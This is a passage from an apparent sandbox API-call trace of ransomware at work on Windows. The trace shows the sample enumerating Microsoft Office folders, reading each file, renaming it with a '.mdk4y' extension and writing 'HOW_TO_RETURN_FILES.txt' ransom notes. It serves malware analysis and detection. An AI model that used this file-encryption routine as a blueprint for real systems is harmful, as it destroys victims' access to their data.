lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll.mdk4y")) returned 1 [0205.033] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0205.033] AreFileApisANSI () returned 1 [0205.033] GetACP () returned 0x4e4 [0205.033] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="XMLSDK5.CHM", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="XMLSDK5.CHML.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0205.033] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xmlsdk5.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0205.034] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828026400000) returned 1 [0205.034] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0205.062] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828029200000) returned 1 [0205.062] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828029200000) returned 1 [0205.095] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xmlsdk5.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xmlsdk5.chm.mdk4y")) returned 1 [0205.097] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 0 [0205.097] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0205.098] AreFileApisANSI () returned 1 [0205.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0205.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0205.099] GetFileType (hFile=0x12c) returned 0x1 [0205.100] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0205.100] AreFileApisANSI () returned 1 [0205.100] GetACP () returned 0x4e4 [0205.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1036", cchWideChar=4, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="1036", lpUsedDefaultChar=0x37dfd8) returned 4 [0205.100] AreFileApisANSI () returned 1 [0205.100] GetACP () returned 0x4e4 [0205.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a4190, cbMultiByte=48, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1036\\ѠjŴh") returned 48 [0205.101] AreFileApisANSI () returned 1 [0205.101] GetACP () returned 0x4e4 [0205.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37df4c) returned 1 [0205.102] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0205.102] AreFileApisANSI () returned 1 [0205.102] GetACP () returned 0x4e4 [0205.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37df4c) returned 2 [0205.102] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0205.102] AreFileApisANSI () returned 1 [0205.102] GetACP () returned 0x4e4 [0205.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSO.ACL", cchWideChar=7, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSO.ACLxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37df4c) returned 7 [0205.102] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0205.103] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828033300000) returned 1 [0205.103] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xaa26, lpOverlapped=0x0) returned 1 [0205.129] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828035900000) returned 1 [0205.129] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828035900000) returned 1 [0205.130] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl.mdk4y")) returned 1 [0205.132] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0205.132] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0205.133] AreFileApisANSI () returned 1 [0205.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0205.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0205.133] GetFileType (hFile=0x12c) returned 0x1 [0205.134] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0205.134] AreFileApisANSI () returned 1 [0205.134] GetACP () returned 0x4e4 [0205.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3082", cchWideChar=4, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="3082", lpUsedDefaultChar=0x37dfd8) returned 4 [0205.135] AreFileApisANSI () returned 1 [0205.135] GetACP () returned 0x4e4 [0205.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a4190, cbMultiByte=48, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\3082\\ѠjŴh") returned 48 [0205.136] AreFileApisANSI () returned 1 [0205.136] GetACP () returned 0x4e4 [0205.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37df4c) returned 1 [0205.136] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0205.136] AreFileApisANSI () returned 1 [0205.136] GetACP () returned 0x4e4 [0205.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37df4c) returned 2 [0205.136] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0205.136] AreFileApisANSI () returned 1 [0205.136] GetACP () returned 0x4e4 [0205.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSO.ACL", cchWideChar=7, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSO.ACLxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37df4c) returned 7 [0205.136] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0205.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828036700000) returned 1 [0205.137] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc57c, lpOverlapped=0x0) returned 1 [0205.138] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828036800000) returned 1 [0205.138] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828036800000) returned 1 [0205.139] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl.mdk4y")) returned 1 [0205.140] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0205.140] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0205.141] AreFileApisANSI () returned 1 [0205.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0205.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0205.142] GetFileType (hFile=0x12c) returned 0x1 [0205.144] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0205.144] AreFileApisANSI () returned 1 [0205.144] GetACP () returned 0x4e4 [0205.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACCDDS.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ACCDDS.DLLtefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pàzk", lpUsedDefaultChar=0x37dfd8) returned 10 [0205.144] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0205.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828037500000) returned 1 [0205.145] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0205.166] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828039600000) returned 1 [0205.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828039700000) returned 1 [0205.206] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll.mdk4y")) returned 1 [0205.209] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0205.209] AreFileApisANSI () returned 1 [0205.209] GetACP () returned 0x4e4 [0205.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACCDDSF.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ACCDDSF.DLLefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pàzk", lpUsedDefaultChar=0x37dfd8) returned 11 [0205.209] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0205.211] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828044100000) returned 1 [0205.211] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x8d7a0, lpOverlapped=0x0) returned 1 [0205.225] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828045500000) returned 1 [0205.225] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828045500000) returned 1 [0205.233] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll.mdk4y")) returned 1 [0205.234] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0205.234] AreFileApisANSI () returned 1 [0205.234] GetACP () returned 0x4e4 [0205.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACCDDSLM.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ACCDDSLM.DLLfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pàzk", lpUsedDefaultChar=0x37dfd8) returned 12 [0205.234] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0205.236] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828046600000) returned 1 [0205.236] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x86db0, lpOverlapped=0x0) returned 1 [0205.252] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828048200000) returned 1 [0205.252] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828048200000) returned 1 [0205.259] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll.mdk4y")) returned 1 [0205.261] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0205.261] AreFileApisANSI () returned 1 [0205.261] GetACP () returned 0x4e4 [0205.261] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AccessWeb", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="AccessWebDLL", lpUsedDefaultChar=0x37dfd8) returned 9 [0205.261] AreFileApisANSI () returned 1 [0205.261] GetACP () returned 0x4e4 [0205.261] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=53, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\j祖i") returned 53 [0205.262] AreFileApisANSI () returned 1 [0205.262] GetACP () returned 0x4e4 [0205.262] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37df4c) returned 1 [0205.262] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0205.262] AreFileApisANSI () returned 1 [0205.262] GetACP () returned 0x4e4 [0205.262] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..:", lpUsedDefaultChar=0x37df4c) returned 2 [0205.262] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0205.263] AreFileApisANSI () returned 1 [0205.263] GetACP () returned 0x4e4 [0205.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CLNTWRAP.HTM", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CLNTWRAP.HTMg", lpUsedDefaultChar=0x37df4c) returned 12 [0205.263] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\clntwrap.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0205.263] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828049300000) returned 1 [0205.263] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4cf, lpOverlapped=0x0) returned 1 [0205.311] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828054100000) returned 1 [0205.311] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828054100000) returned 1 [0205.312] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\clntwrap.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\clntwrap.htm.mdk4y")) returned 1 [0205.313] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0205.313] AreFileApisANSI () returned 1 [0205.313] GetACP () returned 0x4e4 [0205.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RPT2HTM4.XSL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="RPT2HTM4.XSL", lpUsedDefaultChar=0x37df4c) returned 12 [0205.314] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\rpt2htm4.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0205.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828054500000) returned 1 [0205.315] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x104cb, lpOverlapped=0x0) returned 1 [0205.334] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828056400000) returned 1 [0205.334] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828056400000) returned 1 [0205.334] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\rpt2htm4.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\rpt2htm4.xsl.mdk4y")) returned 1 [0205.350] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0205.350] AreFileApisANSI () returned 1 [0205.350] GetACP () returned 0x4e4 [0205.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SERVWRAP.ASP", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SERVWRAP.ASP", lpUsedDefaultChar=0x37df4c) returned 12 [0205.350] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\servwrap.asp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0205.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828058100000) returned 1 [0205.351] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3ab, lpOverlapped=0x0) returned 1 [0205.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828060200000) returned 1 [0205.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828060200000) returned 1 [0205.372] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\servwrap.asp"), lpNewFileName="C:\\Program Files\\Microsoft 